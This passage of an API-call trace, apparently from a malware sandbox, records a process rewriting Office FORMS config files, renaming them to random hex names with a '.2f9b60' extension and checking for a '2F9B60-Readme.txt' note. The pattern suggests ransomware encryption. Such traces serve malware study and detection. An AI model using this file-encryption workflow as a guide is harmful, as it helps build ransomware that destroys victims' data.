sprintf (in: _Dest=0x1b7aa1ae, _Format="%c%c" | out: _Dest="1c") returned 2 [0143.618] sprintf (in: _Dest=0x1b7aa1b0, _Format="%c%c" | out: _Dest="a2") returned 2 [0143.618] sprintf (in: _Dest=0x1b7aa1b2, _Format="%c%c" | out: _Dest="af") returned 2 [0143.618] sprintf (in: _Dest=0x1b7aa1b4, _Format="%c%c" | out: _Dest="61") returned 2 [0143.618] sprintf (in: _Dest=0x1b7aa1b6, _Format="%c%c" | out: _Dest="fd") returned 2 [0143.618] sprintf (in: _Dest=0x1b7aa1b8, _Format="%c%c" | out: _Dest="bb") returned 2 [0143.618] sprintf (in: _Dest=0x1b7aa1ba, _Format="%c%c" | out: _Dest="c3") returned 2 [0143.618] sprintf (in: _Dest=0x1b7aa1bc, _Format="%c%c" | out: _Dest="da") returned 2 [0143.618] sprintf (in: _Dest=0x1b7aa1be, _Format="%c%c" | out: _Dest="51") returned 2 [0143.618] sprintf (in: _Dest=0x1b7aa1c0, _Format="%c%c" | out: _Dest="62") returned 2 [0143.618] sprintf (in: _Dest=0x1b7aa1c2, _Format="%c%c" | out: _Dest="d7") returned 2 [0143.618] sprintf (in: _Dest=0x1b7aa1c4, _Format="%c%c" | out: _Dest="71") returned 2 [0143.619] sprintf (in: _Dest=0x1b7aa1c6, _Format="%c%c" | out: _Dest="75") returned 2 [0143.619] sprintf (in: _Dest=0x1b7aa1c8, _Format="%c%c" | out: _Dest="e0") returned 2 [0143.619] sprintf (in: _Dest=0x1b7aa1ca, _Format="%c%c" | out: _Dest="a4") returned 2 [0143.619] RtlInitAnsiString (in: DestinationString=0x3c4afe48, SourceString="d258ba64ae78901ca2af61fdbbc3da5162d77175e0a4" | out: DestinationString="d258ba64ae78901ca2af61fdbbc3da5162d77175e0a4") [0143.619] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c4afe18, SourceString="d258ba64ae78901ca2af61fdbbc3da5162d77175e0a4", AllocateDestinationString=1 | out: DestinationString="d258ba64ae78901ca2af61fdbbc3da5162d77175e0a4") returned 0x0 [0143.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86ef00 [0143.619] RtlFreeAnsiString (AnsiString="d") [0143.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1a0) returned 1 [0143.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feec0) returned 1 [0143.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1695e0) returned 1 [0143.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b40) returned 1 [0143.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7040) returned 1 [0143.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0143.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0143.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fee60) returned 1 [0143.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fef20) returned 1 [0143.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fef50) returned 1 [0143.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205089f0 [0143.621] wcscat (in: _Dest=0x205089f0, _Source="d258ba64ae7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\d258ba64ae7") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\d258ba64ae7" [0143.621] wcscat (in: _Dest=0x205089f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\d258ba64ae7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\d258ba64ae7.2f9b60" [0143.621] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\d258ba64ae7.2f9b60", NtPathName=0x3c4afdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\d258ba64ae7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x1ce22560 [0143.621] NtSetInformationFile (FileHandle=0x1f70, IoStatusBlock=0x3c4afe90, FileInformation=0x1ce22560, Length=0xb0, FileInformationClass=0xa) returned 0x0 [0143.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22560) returned 1 [0143.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420522e0) returned 1 [0143.839] NtQueryInformationFile (in: FileHandle=0x1f70, IoStatusBlock=0x3c4afe58, FileInformation=0x3c4afe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c4afe58, FileInformation=0x3c4afe68) returned 0x0 [0143.839] NtSetInformationFile (FileHandle=0x1f70, IoStatusBlock=0x3c4afe58, FileInformation=0x3c4afe68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0143.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205089f0) returned 1 [0143.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ef00) returned 1 [0143.843] FlushFileBuffers (hFile=0x1f70) returned 1 [0143.900] CloseHandle (hObject=0x1f70) returned 1 [0143.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205070d0 [0143.901] wcscpy (in: _Dest=0x205070d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0143.901] wcscat (in: _Dest=0x205070d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0143.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0143.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205070d0) returned 1 [0143.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae530) returned 1 Thread: id = 2193 os_tid = 0x1650 [0140.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg")) returned 0x20 [0140.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG", dwFileAttributes=0x20) returned 1 [0140.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f68 [0142.311] GetFileSizeEx (in: hFile=0x1f68, lpFileSize=0x3c5afb20 | out: lpFileSize=0x3c5afb20*=805) returned 1 [0142.311] SetFilePointerEx (in: hFile=0x1f68, liDistanceToMove=0x321, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.311] ReadFile (in: hFile=0x1f68, lpBuffer=0x3c5afaa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c5afae8, lpOverlapped=0x0 | out: lpBuffer=0x3c5afaa0*, lpNumberOfBytesRead=0x3c5afae8*=0x4, lpOverlapped=0x0) returned 1 [0142.327] SetFilePointerEx (in: hFile=0x1f68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feef0 [0142.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef80 [0142.327] NtQuerySystemTime (in: CurrentTime=0x3c5af9e0 | out: CurrentTime=0x3c5af9e0*=132462177475678000) returned 0x0 [0142.327] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x75f2bb73 [0142.327] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x4e3f1a77 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x18807a78 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x1767d03 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x50f26711 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x1ff85787 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0xe949bf6 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x6e763cd6 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x348681c0 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x4179f8a2 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x686fc1d6 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x20b6bc92 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x262893d6 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x793295b1 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x16514c6f [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x4e40063b [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x46f76350 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x764ecb28 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0xe1abf5a [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x473542b2 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x3bb923c7 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x2b3fcc68 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x7238137d [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x6b708f93 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x7e9cab06 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0xefdc924 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x3ee4c0b0 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x7a3c3b80 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x2426ddca [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x7f7f8f92 [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0xd3dabcd [0142.328] RtlRandomEx (in: Seed=0x3c5af9d0 | out: Seed=0x3c5af9d0) returned 0x1f686df8 [0142.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fefb0 [0142.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0142.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fefe0 [0142.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0142.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fef80) returned 1 [0142.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0142.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0142.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422cc5b0 [0142.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422d01c0 [0142.341] ReadFile (in: hFile=0x1f68, lpBuffer=0x422cc5b0, nNumberOfBytesToRead=0x325, lpNumberOfBytesRead=0x3c5af9d0, lpOverlapped=0x0 | out: lpBuffer=0x422cc5b0*, lpNumberOfBytesRead=0x3c5af9d0*=0x325, lpOverlapped=0x0) returned 1 [0142.341] SetFilePointerEx (in: hFile=0x1f68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.341] WriteFile (in: hFile=0x1f68, lpBuffer=0x422d01c0*, nNumberOfBytesToWrite=0x325, lpNumberOfBytesWritten=0x3c5af9d4, lpOverlapped=0x0 | out: lpBuffer=0x422d01c0*, lpNumberOfBytesWritten=0x3c5af9d4*=0x325, lpOverlapped=0x0) returned 1 [0143.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6c20 [0143.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6c50 [0143.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6c50) returned 1 [0143.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422d01c0) returned 1 [0143.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422cc5b0) returned 1 [0143.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0143.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0143.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a6c50 [0143.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0143.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0143.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a64d0 [0143.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a64d0) returned 1 [0143.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a64d0 [0143.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a63b0 [0143.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ce0 [0143.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6ce0) returned 1 [0143.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0143.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0143.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167b80 [0143.385] SetFilePointerEx (in: hFile=0x1f68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.385] WriteFile (in: hFile=0x1f68, lpBuffer=0x167b80*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3c5afaf0, lpOverlapped=0x0 | out: lpBuffer=0x167b80*, lpNumberOfBytesWritten=0x3c5afaf0*=0x10a, lpOverlapped=0x0) returned 1 [0143.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef50 [0143.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fef50) returned 1 [0143.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0143.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef50 [0143.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef20 [0143.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fef20) returned 1 [0143.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7aa1a0 [0143.624] sprintf (in: _Dest=0x1b7aa1a0, _Format="%c%c" | out: _Dest="9a") returned 2 [0143.624] sprintf (in: _Dest=0x1b7aa1a2, _Format="%c%c" | out: _Dest="51") returned 2 [0143.624] sprintf (in: _Dest=0x1b7aa1a4, _Format="%c%c" | out: _Dest="35") returned 2 [0143.624] sprintf (in: _Dest=0x1b7aa1a6, _Format="%c%c" | out: _Dest="a3") returned 2 [0143.624] sprintf (in: _Dest=0x1b7aa1a8, _Format="%c%c" | out: _Dest="10") returned 2 [0143.624] sprintf (in: _Dest=0x1b7aa1aa, _Format="%c%c" | out: _Dest="a5") returned 2 [0143.624] sprintf (in: _Dest=0x1b7aa1ac, _Format="%c%c" | out: _Dest="ee") returned 2 [0143.624] sprintf (in: _Dest=0x1b7aa1ae, _Format="%c%c" | out: _Dest="31") returned 2 [0143.624] sprintf (in: _Dest=0x1b7aa1b0, _Format="%c%c" | out: _Dest="e2") returned 2 [0143.624] sprintf (in: _Dest=0x1b7aa1b2, _Format="%c%c" | out: _Dest="07") returned 2 [0143.624] sprintf (in: _Dest=0x1b7aa1b4, _Format="%c%c" | out: _Dest="f8") returned 2 [0143.624] sprintf (in: _Dest=0x1b7aa1b6, _Format="%c%c" | out: _Dest="1d") returned 2 [0143.624] sprintf (in: _Dest=0x1b7aa1b8, _Format="%c%c" | out: _Dest="0d") returned 2 [0143.624] sprintf (in: _Dest=0x1b7aa1ba, _Format="%c%c" | out: _Dest="e0") returned 2 [0143.625] sprintf (in: _Dest=0x1b7aa1bc, _Format="%c%c" | out: _Dest="39") returned 2 [0143.625] sprintf (in: _Dest=0x1b7aa1be, _Format="%c%c" | out: _Dest="86") returned 2 [0143.625] sprintf (in: _Dest=0x1b7aa1c0, _Format="%c%c" | out: _Dest="b2") returned 2 [0143.625] sprintf (in: _Dest=0x1b7aa1c2, _Format="%c%c" | out: _Dest="14") returned 2 [0143.625] sprintf (in: _Dest=0x1b7aa1c4, _Format="%c%c" | out: _Dest="94") returned 2 [0143.625] sprintf (in: _Dest=0x1b7aa1c6, _Format="%c%c" | out: _Dest="fe") returned 2 [0143.625] sprintf (in: _Dest=0x1b7aa1c8, _Format="%c%c" | out: _Dest="6a") returned 2 [0143.625] sprintf (in: _Dest=0x1b7aa1ca, _Format="%c%c" | out: _Dest="31") returned 2 [0143.625] sprintf (in: _Dest=0x1b7aa1cc, _Format="%c%c" | out: _Dest="b5") returned 2 [0143.625] sprintf (in: _Dest=0x1b7aa1ce, _Format="%c%c" | out: _Dest="58") returned 2 [0143.625] RtlInitAnsiString (in: DestinationString=0x3c5afb68, SourceString="9a5135a310a5ee31e207f81d0de03986b21494fe6a31b558" | out: DestinationString="9a5135a310a5ee31e207f81d0de03986b21494fe6a31b558") [0143.625] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c5afb38, SourceString="9a5135a310a5ee31e207f81d0de03986b21494fe6a31b558", AllocateDestinationString=1 | out: DestinationString="9a5135a310a5ee31e207f81d0de03986b21494fe6a31b558") returned 0x0 [0143.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86edb0 [0143.625] RtlFreeAnsiString (AnsiString="9") [0143.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1a0) returned 1 [0143.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fef50) returned 1 [0143.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167b80) returned 1 [0143.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a64d0) returned 1 [0143.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a63b0) returned 1 [0143.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6c50) returned 1 [0143.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6c20) returned 1 [0143.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feef0) returned 1 [0143.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fefb0) returned 1 [0143.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fefe0) returned 1 [0143.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x20506bd0 [0143.627] wcscat (in: _Dest=0x20506bd0, _Source="9a5135a310a5" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\9a5135a310a5") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\9a5135a310a5" [0143.627] wcscat (in: _Dest=0x20506bd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\9a5135a310a5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\9a5135a310a5.2f9b60" [0143.627] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\9a5135a310a5.2f9b60", NtPathName=0x3c5afb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\9a5135a310a5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x1ce22620 [0143.628] NtSetInformationFile (FileHandle=0x1f68, IoStatusBlock=0x3c5afbb0, FileInformation=0x1ce22620, Length=0xb2, FileInformationClass=0xa) returned 0x0 [0143.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22620) returned 1 [0143.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42050dd0) returned 1 [0143.841] NtQueryInformationFile (in: FileHandle=0x1f68, IoStatusBlock=0x3c5afb78, FileInformation=0x3c5afb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c5afb78, FileInformation=0x3c5afb88) returned 0x0 [0143.841] NtSetInformationFile (FileHandle=0x1f68, IoStatusBlock=0x3c5afb78, FileInformation=0x3c5afb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0143.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506bd0) returned 1 [0143.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86edb0) returned 1 [0143.847] FlushFileBuffers (hFile=0x1f68) returned 1 [0143.902] CloseHandle (hObject=0x1f68) returned 1 [0143.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205070d0 [0143.924] wcscpy (in: _Dest=0x205070d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0143.924] wcscat (in: _Dest=0x205070d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0143.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0143.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205070d0) returned 1 [0143.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae5c0) returned 1 Thread: id = 2194 os_tid = 0x1654 [0140.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg")) returned 0x20 [0140.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG", dwFileAttributes=0x20) returned 1 [0140.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f50 [0142.313] GetFileSizeEx (in: hFile=0x1f50, lpFileSize=0x3c77f7e0 | out: lpFileSize=0x3c77f7e0*=765) returned 1 [0142.313] SetFilePointerEx (in: hFile=0x1f50, liDistanceToMove=0x2f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.313] ReadFile (in: hFile=0x1f50, lpBuffer=0x3c77f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c77f7a8, lpOverlapped=0x0 | out: lpBuffer=0x3c77f760*, lpNumberOfBytesRead=0x3c77f7a8*=0x4, lpOverlapped=0x0) returned 1 [0142.341] SetFilePointerEx (in: hFile=0x1f50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef80 [0142.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff010 [0142.341] NtQuerySystemTime (in: CurrentTime=0x3c77f6a0 | out: CurrentTime=0x3c77f6a0*=132462177475834000) returned 0x0 [0142.341] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x40370d4d [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x2ca2a79f [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x22c05538 [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x343b5331 [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x156e0ae6 [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x6a930fcc [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x3929ceba 